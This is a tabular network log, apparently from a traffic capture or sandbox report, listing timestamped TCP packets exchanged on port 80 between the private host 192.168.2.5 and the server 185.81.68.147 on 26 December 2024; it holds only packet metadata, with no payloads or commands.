Dec 26, 2024 12:05:09.101680994 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.101716995 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.102664948 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.102732897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.102811098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.103617907 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.103713989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.103713989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.103804111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.104608059 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.104649067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.104744911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.104784966 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.105648041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.105689049 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.105731964 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.105773926 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.106683969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.106726885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.106786966 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.106821060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.107728958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.107748985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.107764959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.107779980 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.108719110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.108755112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.108836889 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.108871937 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.109935999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.109971046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.110064030 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.110099077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.110744953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.110800982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.110836983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.111789942 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.111829042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.111900091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.111938953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.112869024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.112984896 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.113034010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.113852978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.113959074 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.113996983 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.114862919 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.114900112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.115008116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.115045071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.115889072 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.115927935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.115959883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.115992069 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.116933107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.116970062 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.117083073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.117116928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.117944002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.118074894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.118110895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.119028091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.119074106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.119111061 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.119144917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.119986057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.120035887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.120070934 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.120105028 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.120999098 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.121035099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.121098995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.121131897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.122049093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.122214079 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.122250080 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.123146057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.123184919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.123269081 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.123303890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.124095917 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.124165058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.124207973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.124245882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.125148058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.125263929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.125299931 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.126199007 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.126240015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.126280069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.126313925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.127181053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.127217054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.127325058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.127357960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.128196001 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.128232002 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.128298998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.128330946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.129230976 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.129268885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.129303932 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.129349947 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.130299091 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.130424023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.130462885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.131325960 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.131364107 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.131386995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.131419897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.132306099 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.132343054 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.132400990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.132432938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.133397102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.133433104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.133466959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.133498907 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.134373903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.134448051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.134480953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.135433912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.135529041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.135546923 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.135631084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.136440039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.136491060 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.136499882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.136532068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.137394905 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.137429953 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.137505054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.137541056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.138463020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.138567924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.138606071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.139601946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.139642954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.139682055 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.139719963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.140759945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.140778065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.140820026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.140842915 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.141508102 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.141632080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.141664982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.142519951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.142602921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.142637014 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.143560886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.143599033 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.143641949 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.143704891 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.144571066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.144583941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.144639015 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.145539999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.147453070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.147453070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.183701992 CET	49711	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.302666903 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.302732944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.302778959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.302824974 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.303090096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.303131104 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.303164959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.303206921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.303298950 CET	80	49711	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.303360939 CET	49711	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.304056883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.304094076 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.304136038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.304176092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.305071115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.305113077 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.305145979 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.305186987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.306025982 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.306143999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.306189060 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.307056904 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.307096958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.307121992 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.307162046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.308140039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.308190107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.308198929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.308228016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.309087038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.309146881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.309221029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.309254885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.310205936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.310309887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.310359001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.311175108 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.311237097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.311357021 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.311394930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.312175989 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.312211037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.312305927 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.312341928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.313349962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.313411951 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.313591003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.313626051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.314362049 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.314400911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.314481974 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.314533949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.314829111 CET	49711	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.315239906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.315347910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.315396070 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.316250086 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.316292048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.316400051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.316437006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.317332029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.317378998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.317415953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.317456007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.318403006 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.318453074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.318589926 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.319607973 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.319645882 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.319674015 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.319706917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.320398092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.320466042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.320499897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.320550919 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.321378946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.321419001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.321480036 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.321512938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.322400093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.322431087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.322504997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.322535038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.323438883 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.323559999 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.323594093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.324459076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.324493885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.324516058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.324549913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.325484037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.325516939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.325587034 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.325620890 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.326523066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.326668978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.326703072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.327578068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.327613115 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.327785969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.327819109 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.328557968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.328598022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.328691959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.328727007 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.329600096 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.329636097 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.329729080 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.329761982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.330667019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.330809116 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.330843925 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.331661940 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.331696987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.331773043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.331805944 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.332694054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.332727909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.332812071 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.332844019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.333681107 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.333781004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.333802938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.333847046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.334783077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.334825039 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.334862947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.334897041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.335725069 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.335772991 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.335827112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.335875988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.336764097 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.336802006 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.336838961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.336870909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.337766886 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.337810993 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.337848902 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.337884903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.338833094 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.339015961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.339062929 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.339881897 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.339927912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.339948893 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.339986086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.340898991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.341013908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.341049910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.341886044 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.342075109 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.342113018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.342901945 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.342938900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.342972040 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.343004942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.343940020 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.343975067 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.344059944 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.344094992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.345016003 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.345052958 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.345084906 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.345117092 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.345963955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.346055984 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.346091032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.347004890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.347039938 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.347143888 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.347177029 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.348026037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.348058939 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.348121881 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.348155022 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.349046946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.349085093 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.349180937 CET	80	49708	185.81.68.147	192.168.2.5
